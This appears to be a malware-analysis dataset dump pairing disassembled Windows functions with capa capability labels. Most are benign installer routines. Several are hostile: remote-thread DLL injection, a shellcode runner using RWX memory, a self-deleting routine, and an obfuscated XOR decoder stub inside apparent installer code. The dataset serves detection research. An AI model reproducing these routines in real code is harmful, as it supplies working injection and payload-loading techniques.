joyce8/EMBER2024-capa huggingface dataset:
Function at 0x428cf2
Capabilities:
Check mutex on windows

Disassembly:
push 0xa8
mov eax, 0x458f50
call fcn.00441eb1
push str.Global_MSIExecute
xor esi, esi
push esi
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 1
mov dword [ebp - 4], esi
cmp eax, esi
je 0x428dc4
push dword [ebp + 8]
push eax
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov dword [ebp - 0x14], eax
cmp dword [ebp + 8], esi
je 0x428da4
cmp dword [0x47d500], 1
jg 0x428da4
lea eax, [ebp - 0xb4]
push eax
call fcn.00409545
lea eax, [ebp - 0xb4]
push str.finish_waiting_for_mutex:
push eax
mov byte [ebp - 4], 1
call fcn.0040b58e
pop ecx
pop ecx
push dword [ebp - 0x14]
lea eax, [ebp - 0xb4]
push eax
call fcn.0040df0e
lea eax, [ebp - 0xb4]
push eax
push 0x1c8
push 1
mov ebx, str.msi::waitForInstallationCompletion
mov edi, str.c:_ade_jenkins_workspace_8_2_build_windows_i586_cygwin_jdk8u241_331_install_src_windows_common_MsiUtils.cpp
mov esi, 0x47d500
call fcn.004078b6
lea eax, [ebp - 0xb4]
mov byte [ebp - 4], 0
call fcn.0040789c
cmp dword [ebp - 0x14], 0x102
jne 0x428dc4
xor bl, bl
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x1c]
call fcn.0044352f
pop ecx
mov al, bl
call fcn.00441f89
ret
mov bl, 1
jmp 0x428daf

Function at 0x434134
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x14
mov eax, 0x4566fc
call fcn.00441eb1
xor esi, esi
lea eax, [ebp + 0x38]
push eax
push esi
push esi
push 0x2c
push esi
mov dword [ebp - 0x10], esi
call dword [sym.imp.shell32.dll_SHGetFolderPathW]
cmp eax, esi
je 0x43418a
push 0xc8
lea esi, [ebp - 0x20]
call fcn.0044352f
push 0x46d720
mov eax, esi
push eax
call fcn.0044352f
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp]
call fcn.00414d60
push 0x4695b4
push eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 4], esi
call fcn.0044352f
push ebx
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.00432e7f
add esp, 0xc
push 1
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.00414e32
push 1
lea esi, [ebp]
call fcn.00414e32
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.0043a455
add ebp, 0x244
leave
ret

Function at 0x43a455
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x479630]
jne 0x43a45f
repz ret
jmp fcn.004446c5
Function at 0x44352f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x44353e
pop dword [ebp - 0x30]
mov eax, 0x1d5303c7
add eax, 0xe2f13177
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x46164
push 0
mov eax, 0xa96dd96d
sub eax, 0xa92808c9
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x45a9
xor edi, edi
add edi, eax
mov ebx, 0xf33d43d9
sub ebx, 0xf2f33dd9
add ebx, dword [ebp - 0x30]
mov edx, 0x9a2e0e48
add dword [ebp - 4], 0x48e3c6f4
mov esi, dword [ebx]
add dword [ebp - 0x20], 0x2e2be75f
add esi, edx
xor dword [ebp - 0x24], esi
mov dword [edi], esi
sub dword [ebp - 0xc], ebx
add edi, 0x239c49c6
add edi, 0xdc63b63e
add ebx, 0xc6a65e87
add ebx, 0x3959a17d
loop 0x443593
add eax, 0x213ece0c
add eax, 0xdec23b6b
mov ebx, eax
add eax, 0x31e1c226
sub eax, 0x31e1c221
mov ecx, 0x325cf41f
sub ecx, 0x321cf41f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x401512
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
mov edi, dword [esp + 0x20]
xor esi, esi
mov ebx, 0x2733
jmp 0x40155b
push 0
mov ecx, edi
sub ecx, eax
push ecx
add eax, ebp
push eax
push dword [esp + 0x20]
call sub.WSOCK32.dll_recv
mov esi, eax
cmp esi, 0xffffffff
je 0x401566
test esi, esi
je 0x401587
cmp dword [0x41187c], 0
jne 0x40155b
add dword [0x411d68], esi
push esi
call fcn.0040109b
pop ecx
mov eax, dword [0x411d68]
cmp eax, edi
jl 0x401527
jmp 0x401587
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, ebx
je 0x401587
call sub.WSOCK32.dll_WSAGetLastError
push eax
call fcn.004012e4
add esp, 4
mov dword [0x411d00], 0xffffffe0
cmp dword [0x41187c], 0
jne 0x4016ff
add edi, 0xfffffa4c
cmp dword [0x411d68], edi
jg 0x4015b8
cmp esi, 0xffffffff
jne 0x4015b0
call sub.WSOCK32.dll_WSAGetLastError
cmp eax, ebx
jne 0x4015b8
test esi, esi
jne 0x4016ff
cmp dword [0x411874], 0
mov esi, ebp
jne 0x4016d1
mov dword [0x411874], 1
mov al, byte [ebp]
jmp 0x4015dd
cmp al, 9
je 0x4015e1
inc esi
mov al, byte [esi]
cmp al, 0x20
jne 0x4015d6
mov al, byte [esi]
cmp al, 0x20
je 0x4015eb
cmp al, 9
jne 0x4015ee
inc esi
jmp 0x4015e1
cmp byte [esi], 0x32
je 0x4016a1
mov eax, dword [0x41958c]
test eax, eax
mov dword [0x411d00], 0xfffffffd
je 0x4016c9
cmp dword [0x411854], 0
je 0x40162d
push str.ServerError
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x41958c]
add eax, 0xc
jmp 0x401641
push str._r_n_r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x41958c]
add eax, 4
mov cl, byte [esi]
mov edx, esi
jmp 0x401667
cmp cl, 0xd
je 0x40166b
cmp cl, 0xa
je 0x40166b
mov edi, eax
sub edi, dword [0x41958c]
cmp edi, 0xfa
jge 0x40166b
mov byte [eax], cl
inc eax
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x401647
mov byte [eax], 0
cmp dword [0x411854], 0
je 0x4016c9
push 0x4071f8
push dword [0x41958c]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push dword [0x41958c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add dword [0x41958c], eax
jmp 0x4016c9
cmp al, 0xa
je 0x4016a7
inc esi
mov al, byte [esi]
cmp al, 0xd
jne 0x40169c
mov al, byte [esi]
lea ecx, [esi + 1]
cmp al, byte [ecx]
je 0x4016c2
cmp al, byte [esi + 2]
je 0x4016c6
cmp al, 0xd
jne 0x4016bb
mov esi, ecx
cmp byte [esi], 0xa
jne 0x4016a1
jmp 0x4016a0
inc esi
inc esi
jmp 0x4016c9
add esi, 4
sub ebp, esi
add dword [0x411d68], ebp
cmp dword [esp + 0x18], 0xffffffff
je 0x4016f8
push dword [0x411d68]
push esi
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll__lwrite]
cmp eax, 0xffffffff
jne 0x4016f8
mov dword [0x411d00], 0xfffffffc
and dword [0x411d68], 0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x402cc8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp + 8]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push closesocket
xor edi, edi
mov byte [esi], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402d48
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push ebx
push str.CommonFilesDir
push dword [ebp + 8]
mov dword [ebp - 4], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402d3f
cmp byte [esi], bl
je 0x402d3f
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [eax + esi - 1]
cmp byte [eax], 0x5c
jne 0x402d30
mov byte [eax], bl
push str.Wise_Installation_Wizard
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor edi, edi
inc edi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403017
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
mov byte [esi], 0
cmp dword [0x409a00], 0
je 0x4030a1
push ebx
mov ebx, dword [ebp + 0xc]
push edi
push 4
pop eax
xor edi, edi
cmp ebx, eax
jle 0x40304f
movzx ecx, byte [eax + 0x409d60]
add edi, ecx
cmp eax, 0xa
jne 0x40304a
push 0x12
pop eax
inc eax
cmp eax, ebx
jl 0x403039
mov esi, dword [sym.imp.KERNEL32.dll__llseek]
push 1
push 0
push dword [0x40a010]
call esi
mov dword [ebp - 4], eax
mov eax, dword [0x409d88]
push 0
add eax, edi
push eax
push dword [0x40a010]
call esi
movzx eax, byte [ebx + 0x409d60]
push eax
push dword [ebp + 8]
push dword [0x40a010]
call dword [sym.imp.KERNEL32.dll__lread]
push 0
push dword [ebp - 4]
push dword [0x40a010]
call esi
mov esi, dword [ebp + 8]
pop edi
pop ebx
jmp 0x4030bd
push dword [ebp + 0x10]
push 0x100
push esi
push 0x407475
push dword [ebp + 0x14]
push str.WiseInstaller
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [esi], 0
jne 0x4030d7
push 0x100
push esi
push dword [ebp + 0x18]
push dword [0x409a10]
call dword [sym.imp.USER32.dll_LoadStringA]
pop esi
leave
ret
Function at 0x40321b
Capabilities:
Accept command line arguments
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionInstallerRunOnceEntries
push closesocket
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jne 0x403289
lea eax, [ebp - 0x48]
push eax
push dword [ebp + 8]
call fcn.004030da
pop ecx
pop ecx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 4]
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403280
cmp dword [ebp - 8], 1
jbe 0x403280
inc edi
push dword [ebp - 4]
call esi
cmp edi, ebx
jne 0x4032e8
mov edi, dword [ebp + 0xc]
cmp edi, ebx
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
je 0x40329a
mov eax, str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 0xf003f
push ebx
push 0x407475
push ebx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4032e8
cmp edi, ebx
jne 0x4032c8
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push edi
push 1
push ebx
push str.WiseStubReboot
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4034e3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x1b8
and dword [ebp + 0x68], 0
push ebx
push esi
push edi
lea eax, [ebp + 0x3c]
push eax
push dword [ebp + 0x7c]
push dword [ebp + 0x78]
call fcn.004034bc
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0xc
cmp dword [ebp + 0x78], 0x10000
jne 0x403535
lea eax, [ebp + 0x6c]
push eax
mov edi, 0x20019
push edi
push 0
push str.SOFTWAREMicrosoft.NETFrameworkpolicy_v1.0
jmp 0x403566
mov dword [ebp + 0x68], 1
jmp 0x403633
push 0xb
pop ecx
push 0x15
mov esi, str.SOFTWAREMicrosoftNET_Framework_SetupNDP_
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
pop ecx
xor eax, eax
lea edi, [ebp - 0x18]
rep stosd dword es:[edi], eax
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0x44]
push eax
call ebx
lea eax, [ebp + 0x6c]
push eax
mov edi, 0x20019
push edi
push 0
lea eax, [ebp - 0x44]
push eax
mov esi, closesocket
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403529
push dword [ebp + 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x6c]
push eax
push edi
push 0
push str.SOFTWAREMicrosoft.NETFramework
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403633
lea eax, [ebp + 0x78]
push eax
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp + 0x60]
push eax
push 0
push str.InstallRoot
push dword [ebp + 0x6c]
mov dword [ebp + 0x78], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40362a
lea eax, [ebp - 0x148]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x149], 0x5c
je 0x4035e9
push 0x407794
lea eax, [ebp - 0x148]
push eax
call ebx
lea eax, [ebp + 0x3c]
push eax
lea eax, [ebp - 0x148]
push eax
call ebx
push str.mscorlib.dll
lea eax, [ebp - 0x148]
push eax
call ebx
lea eax, [ebp + 0x64]
push eax
lea eax, [ebp + 0x5c]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00402dca
mov eax, dword [ebp + 0x7c]
add esp, 0xc
cmp dword [ebp + 0x64], eax
jae 0x40362a
mov dword [ebp + 0x68], 1
push dword [ebp + 0x6c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp + 0x68], eax
pop edi
pop esi
sete al
pop ebx
add ebp, 0x70
leave
ret

Function at 0x403643
Capabilities:
Delete file
Terminate process

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call fcn.00402d78
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 4
jle 0x403683
lea esi, [eax + edi - 4]
push str..TMP
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403683
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str..exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push edi
call dword [sym.imp.KERNEL32.dll__lcreat]
mov esi, dword [esp + 0x10]
push eax
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll__lclose]
push 2
push edi
call dword [sym.imp.KERNEL32.dll__lopen]
test eax, eax
pop edi
mov dword [esi], eax
pop esi
jge 0x4036ba
push 0
call fcn.00402dac
pop ecx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
inc eax
ret
Function at 0x403739
Capabilities:
Create process on windows
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp dword [0x409a00], esi
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], esi
mov dword [ebp - 0x40], 0x3c
mov dword [ebp - 0x3c], 0x40
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], esi
jne 0x4037fa
push 0x100
lea eax, [ebp - 0x144]
push eax
push dword [0x409a10]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x409500], 0
je 0x4037ba
push 0x409500
push 0x104
lea eax, [ebp - 0x144]
push eax
push eax
push str.ModuleFileName
push str.Settings
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp byte [ebp - 0x144], 0
je 0x4037f1
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x144]
jmp 0x4037df
cmp byte [eax], 0x5c
je 0x4037ee
dec eax
lea ecx, [ebp - 0x144]
cmp eax, ecx
ja 0x4037d9
cmp byte [eax], 0x5c
jne 0x4037f1
mov byte [eax], 0
lea eax, [ebp - 0x144]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x24], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x40386d
call fcn.00402e76
cmp dword [ebp + 0x10], esi
je 0x40385b
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
push edi
mov ebx, 0x1f4
push ebx
push dword [ebp - 8]
call esi
mov edi, 0x102
jmp 0x403847
call fcn.00402e76
cmp dword [0x409d84], 0
jne 0x40384d
push ebx
push dword [ebp - 8]
call esi
cmp eax, edi
je 0x403833
jmp 0x403859
push 0
push dword [ebp + 0x14]
call fcn.0040321b
pop ecx
pop ecx
pop edi
pop ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call fcn.00402e76
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x403873
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
cmp edi, 3
jle 0x40389f
push esi
lea esi, [edi - 4]
shr esi, 2
inc esi
mov eax, esi
neg eax
lea edi, [edi + eax*4]
call fcn.00402f02
xor dword [ebx], eax
add ebx, 4
dec esi
jne 0x403891
pop esi
test edi, edi
jle 0x4038b8
call fcn.00402f02
cdq
mov ecx, 0xff
idiv ecx
inc dl
xor byte [ebx], dl
inc ebx
dec edi
jne 0x4038a3
pop edi
pop ebx
ret

Function at 0x403903
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
lea eax, [ebp - 0x194]
push eax
mov dword [ebp - 0x194], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x184], 1
jne 0x403988
push esi
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x101], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40396a
push 0x407794
lea eax, [ebp - 0x100]
push eax
call esi
push str.WININIT.INI
lea eax, [ebp - 0x100]
push eax
call esi
lea eax, [ebp - 0x100]
push eax
call fcn.004032ed
pop ecx
pop esi
leave
ret
xor eax, eax
leave
ret
Function at 0x403e5d
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
xor ebx, ebx
cmp dword [0x409c24], ebx
jne 0x403f89
cmp dword [0x40a014], ebx
jne 0x403f89
push ebx
push sym.STUB32.EXE__ProgressDlg_16
push ebx
push 0x6e
push dword [0x409a10]
call dword [sym.imp.USER32.dll_CreateDialogParamA]
mov ecx, dword [0x40a008]
cmp ecx, ebx
mov dword [0x40a014], eax
je 0x403eb5
jmp 0x403ea8
inc ecx
cmp byte [ecx], bl
jne 0x403ea7
inc ecx
push ecx
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
cmp dword [0x409a00], ebx
jne 0x403f89
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x104]
push eax
push dword [0x409a10]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x409a00], ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jne 0x403f0c
cmp byte [0x409500], bl
je 0x403f0c
push 0x409500
push esi
lea eax, [ebp - 0x104]
push eax
push eax
push str.ModuleFileName
push str.Settings
call edi
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x104]
jmp 0x403f28
cmp byte [eax], 0x2e
je 0x403f37
dec eax
lea ecx, [ebp - 0x104]
cmp eax, ecx
ja 0x403f22
cmp byte [eax], 0x2e
jne 0x403f43
push str..ini
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push eax
push 0x208
lea eax, [ebp - 0x30c]
push eax
push 0x407475
push str.WiseInitProgressText
push str.WiseInstaller
call edi
cmp byte [ebp - 0x30c], bl
pop edi
pop esi
je 0x403f89
lea eax, [ebp - 0x30c]
push eax
push 0x3f1
push dword [0x40a014]
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
pop ebx
leave
ret
Function at 0x406a60
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push ebx
xor eax, eax
mov ebx, dword [esp + 8]
push esi
push edi
cmp byte [ebx], al
je 0x406a9f
push ebx
call sub.WSOCK32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x406a9f
mov edi, str.255.255.255.255
mov ecx, 0x10
mov esi, ebx
repe cmpsb byte [esi], byte es:[edi]
je 0x406a9f
push ebx
call sub.WSOCK32.dll_gethostbyname
test eax, eax
je 0x406a9d
mov eax, dword [eax + 0xc]
pop edi
mov ecx, dword [eax]
pop esi
pop ebx
mov eax, dword [ecx]
ret
xor eax, eax
pop edi
pop esi
pop ebx
ret
Function at 0x6e9c12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6e9c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6e9c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6e9c132c
mov eax, 1
jmp 0x6e9c1331
mov eax, 0
leave
ret
Function at 0x6e9c1739
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6e9c1832
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6e9c1878
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x6e9c18c1
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x6e9c18be
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x6e9c18c1
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6e9c19bd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret
Function at 0x6e9c1a24
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6e9c1db0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6e9c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6e9c6034]
sub esp, 4
test ebx, ebx
je 0x6e9c1dfb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6e9c1df4
test esi, esi
je 0x6e9c1df4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6e9c1dd0
mov dword [esp], 0x6e9c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6e9c1fe0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6e9c4148
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6e9c2030
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6e9c2108
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6e9c206e
cmp eax, 4
jne 0x6e9c2090
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6e9c207e
cmp edx, 4
je 0x6e9c207e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6e9c1fe0